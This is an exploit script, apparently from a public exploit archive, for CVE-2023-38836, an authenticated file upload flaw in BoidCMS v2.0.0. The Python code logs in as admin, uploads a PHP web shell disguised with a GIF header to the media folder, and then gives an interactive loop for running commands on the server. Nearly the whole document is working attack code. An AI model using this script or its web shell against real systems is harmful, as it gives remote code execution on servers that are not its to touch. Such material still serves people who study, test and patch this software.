BoidCMS v2.0.0 - Authenticated File Upload Vulnerability - CVE-2023-38836

#!/usr/bin/python3
# Exploit Title: BoidCMS v2.0.0 - authenticated file upload vulnerability
# Date: 08/21/2023
# Exploit Author: 1337kid
# Vendor Homepage: https://boidcms.github.io/#/
# Software Link: https://boidcms.github.io/BoidCMS.zip
# Version: <= 2.0.0
# Tested on: Ubuntu
# CVE : CVE-2023-38836

import requests
import re
import argparse

parser = argparse.ArgumentParser(description='Exploit for CVE-2023-38836')
parser.add_argument("-u", "--url", help="website url")
parser.add_argument("-l", "--user", help="admin username")
parser.add_argument("-p", "--passwd", help="admin password")
args = parser.parse_args()
base_url=args.url
user=args.user
passwd=args.passwd

def showhelp():
    print(parser.print_help())
    exit()
if base_url == None: showhelp()
elif user == None: showhelp()
elif passwd == None: showhelp()

with requests.Session() as s:
    req=s.get(f'{base_url}/admin')
    token=re.findall('[a-z0-9]{64}',req.text)
    form_login_data={
        "username":user,
        "password":passwd,
        "login":"Login",
    }
    form_login_data['token']=token
    s.post(f'{base_url}/admin',data=form_login_data)
    #=========== File upload to RCE
    req=s.get(f'{base_url}/admin?page=media')
    token=re.findall('[a-z0-9]{64}',req.text)
    form_upld_data={
        "token":token,
        "upload":"Upload"
    }
    #==== php shell
    php_code=['GIF89a;\n','<?php system($_GET["cmd"]) ?>']
    with open('shell.php','w') as f:
        f.writelines(php_code)
    #====
    file = {'file' : open('shell.php','rb')}
    s.post(f'{base_url}/admin?page=media',files=file,data=form_upld_data)
    req=s.get(f'{base_url}/media/shell.php')
    if req.status_code == '404':
        print("Upload failed")
        exit()
    print(f'Shell uploaded to "{base_url}/media/shell.php"')
    while 1:
        cmd=input("cmd >> ")
        if cmd=='exit': exit()
        req=s.get(f'{base_url}/media/shell.php',params = {"cmd": cmd})
        print(req.text)